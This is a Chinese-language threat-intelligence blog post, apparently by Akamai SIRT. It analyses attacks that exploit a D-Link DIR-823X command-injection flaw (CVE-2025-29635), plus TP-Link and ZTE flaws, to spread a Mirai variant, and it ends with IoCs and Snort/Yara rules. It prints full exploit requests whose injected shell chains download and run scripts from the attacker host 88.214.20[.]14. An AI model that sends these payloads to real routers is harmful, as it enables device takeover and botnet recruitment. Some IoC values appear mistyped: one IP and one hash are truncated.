要点汇总
Akamai 安全情报响应团队 (SIRT) 发现,攻击者正利用 CVE-2025-29635 命令注入漏洞,针对 D-Link DIR-823X 系列路由器发起攻击。尽管这些设备已于 2025 年停用,但攻击者仍在利用这一漏洞部署 Mirai 僵尸网络的变种。
2026 年 3 月,SIRT 团队首次在我们的全球蜜罐网络中发现此类攻击活动。这是自 2025 年 3 月该漏洞首次曝光以来,攻击者主动利用这些漏洞的首次报告案例。
为帮助抵御此威胁,我们在本博文中提供了相关的入侵指标 (IoC) 列表。
发现针对 D-Link 设备的活跃攻击行为
2026 年 3 月初,Akamai SIRT 在我们的全球蜜罐网络中,发现了利用 D-Link 命令注入漏洞 (CVE-2025-29635) 的活跃攻击行为。此漏洞存在于 D-Link DIR-823X 系列路由器的固件版本 240126 和 24082 中,获得授权的攻击者可以利用该漏洞,通过相应的函数向 /goform/set_prohibiting 端点发送 POST 请求,由此触发远程命令执行,从而在远程设备上执行任意命令。
CVE-2025-29635 固件漏洞分析
CVE-2025-29635 是在 2025 年 3 月下旬公开披露的漏洞,这是一个命令注入漏洞,影响 D-Link DIR-823X 系列路由器(固件版本 240126 和 24082)。根据供应商的公告,这些路由器已于 2025 年 9 月起停用。
安全研究人员 Wang Jinshuai 和 Zhao Jiangting 发现并报告了该漏洞,同时对二进制文件中的 sub_42232C 函数进行了逆向工程分析,如图 1 所示。他们发现,macaddr 函数的值会被 snprintf 函数复制到命令变量中,随后将执行系统函数。攻击者可以恶意构造 macaddr 的值,向 /goform/set_prohibiting 提交 POST 请求,从而触发命令执行。
研究人员将一个公开的概念验证 (PoC) 漏洞利用程序提交到 GitHub,并附上了与 CVE 披露相关的链接,但该程序已被移除(见图 2)。截至本博文撰写时,该漏洞尚未被列入 CISA 已知被利用的漏洞目录中。
POST /goform/set_prohibiting HTTP/1.1
Host: 192.168.122.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Origin: http://192.168.122.130
Connection: close
Referer: http://192.168.122.130/login.html
Cookie: sessionid=00000000000000000000000000000000; token=00000000000000000000000000000000
macaddr=||touch%20/set_prohibiting||&token=00000000000000000000000000000000
蜜罐数据揭露活跃的僵尸网络活动
2026 年 3 月初(图 3),Akamai SIRT 在我们的全球蜜罐网络中,发现了利用 CVE-2025-29635 的活跃攻击行为。
POST /goform/set_prohibiting HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
parameter=;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://88.214.20[.]14/dlink.sh -O dlink.sh; curl -o dlink.sh http://88.214.20[.]14/dlink.sh; wget http://88.214.20[.]14/dlink.sh; chmod 777 dlink.sh; sh dlink.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh;
图 3 中的请求内容与图 2 中的 PoC 漏洞利用程序基本一致,但存在一些关键差异。首先,此漏洞利用没有包含某些标头,例如 Referer 和 Accept-Language。不论是在标头还是正文中,它都没有以令牌或会话 ID 的形式提供身份验证。
然而,固件似乎无法验证这些字段和值的存在性或有效性。由于这一缺陷,路由器直接从请求正文中提取值并将其放入命令缓冲区,而不检查数据的表单字段来源。如果解析器将正文中的任何键值对视为 macaddr 字段的候选值,或者直接将整个正文复制到缓冲区中,那么攻击者就可以在任意名称(例如参数)下提供恶意攻击负载。
因此,尽管此漏洞利用与 PoC 漏洞利用程序存在一些关键差异,但它针对的是同样的存在漏洞的代码路径,并触发相同的 system() 调用,从而执行提供的 shell 命令链。
对 Mirai 变种的技术分析
通过漏洞利用加载的 Shell 脚本非常简单直接,它从同一下载器 IP 地址 88.214.20[.]14 获取并加载名为“tuxnokill”的 Mirai 恶意软件攻击负载,该软件支持多种架构。该恶意软件本身似乎是 Mirai 恶意软件的一个典型变种,使用 XOR 编码,解密密钥为 0x30。它还包含一个硬编码的控制台执行字符串“segmentation fault (core dumped)”,这是 Mirai 恶意软件攻击负载的标准特征,还有一个硬编码的下载器 IP 地址。根据沙盒连接,命令和控制 IP 地址为 64.89.161[.]130,端口为 44300。
与其他一些开始使用氛围编程攻击负载的攻击者不同,我们推测该攻击者仍采用传统方式编写恶意代码,因为其代码中包含硬编码字符串“AI.NEEDS.TO.DIE”。在恶意软件中观察到的攻击命令相当常见(图 4)。
TCP STOMP
TCP ACK
TCP SYN
STD
GRE ETH
UDP DNS
UDP VSE
UDP PLAIN
UDP GENERIC
RAW
XMAS
HTTP NULL
已发现的针对 TP-Link 和 ZTE 的漏洞利用
在蜜罐网络中,除了针对 CVE-2025-29635 的攻击之外,我们还发现该攻击者试图利用另外两个漏洞:CVE-2023-1389(图 5),该漏洞影响 TP-Link Archer AX21 设备;以及针对 ZTE ZXV10 H108L 路由器的远程代码执行(RCE)漏洞利用(图 6)。
POST /cgi-bin/luci/;stok=/local?form=country HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
operation=write&country=$(id>curl -o tplinkwan.sh http://88.214.20[.]14/tplinkwan.sh; wget http://88.214.20[.]14/tplinkwan.sh; chmod 777 tplinkwan.sh; sh tplinkwan.sh; tftp 88.214.20[.]14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 88.214.20[.]14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 88.214.20[.]14 ftp1.sh ftp1.sh; sh ftp1.sh)
POST /manager_dev_ping_t HTTP/1.1
Host: honeypot_ip:8083
User-Agent: Go-http-client/1.1
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
&Host=;$(cd /tmp;wget http://88.214.20[.]14/bins/tux.mips; chmod 777 tux.mips; ./tux.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit
总结
Mirai 恶意软件攻击活动持续困扰着整个行业,各类技术能力参差不齐的攻击者仍在重复利用其中的大部分原始源代码。低门槛与可能带来经济利益,是诱使不法分子涌入僵尸网络领域并成为网络攻击者的部分原因。
尽管这位攻击者可能极度排斥 AI,但许多其他攻击者会将 AI 视为实现其非法目标的工具。无论是协助编写恶意软件,还是发现可供利用的新漏洞,AI 蕴含的巨大潜力同时摆在了攻击者和网络防御者的面前。
在僵尸网络领域,许多攻击者频繁利用旧的漏洞实施攻击。尤其是当这些漏洞已有公开的 PoC 漏洞利用程序时,攻击者可以轻松地将其整合到自己的攻击工具中。
遗憾的是,全球许多企业都会出现设备配置不当、未能及时更新补丁或继续使用已停用的易受攻击设备的情况,例如 D-Link 823X 系列路由器。我们强烈建议各企业定期监控与自身基础架构相关的漏洞披露信息,并及时应用适当的补丁、升级和安全措施,以确保企业运营安全。
关注新动态
IOC
为了帮助企业有效防御威胁,我们提供了相关的入侵指标 (IoC) 列表以及 Snort 和 Yara 规则。
针对恶意 IP 的 Snort 规则
alert ip any any -> [88.214.20.14, 64.89.161.130] any (
msg:"Possible Botnet Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
针对恶意软件样本的 Yara 规则
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2026-03-27"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"
strings:
$string1 = "segmentation fault (core dumped)"
$string2 = “AI.NEEDS.TO.DIE”
$ip1 = "88.214.20.14"
$ip2 = "64.89.161.13"
$hash1 = "32ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100"
$hash2 = "be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b"
$hash3 = "d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7"
$hash4 = "7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8"
$hash5 = "72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8"
condition:
(
$string1 or
$string2 or
$ip1 or
$ip2 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5
)
}
恶意 IPv4 地址
88.214.20.14
64.89.161.130
SHA256 哈希值
2ca4b70e84787144574bfdb85a0092f3ebf524bb78febdd28d4c832b53fe100
be902e86ec68515e23a3387a21e80d098d258223ce562598c27ee6d89b83ff2b
d232c0960f24ba4bb369821b1bf2836d9e576a34fa3ddca2618c80b2f54277f7
7792f5c1d5c6c6415732ba0f63328549e19cc9c182c258c17b97b77fdb5541b8
72eff03b8573329818b38185074aa763e99d15f5709fecc44f9afece21dc06d8
标签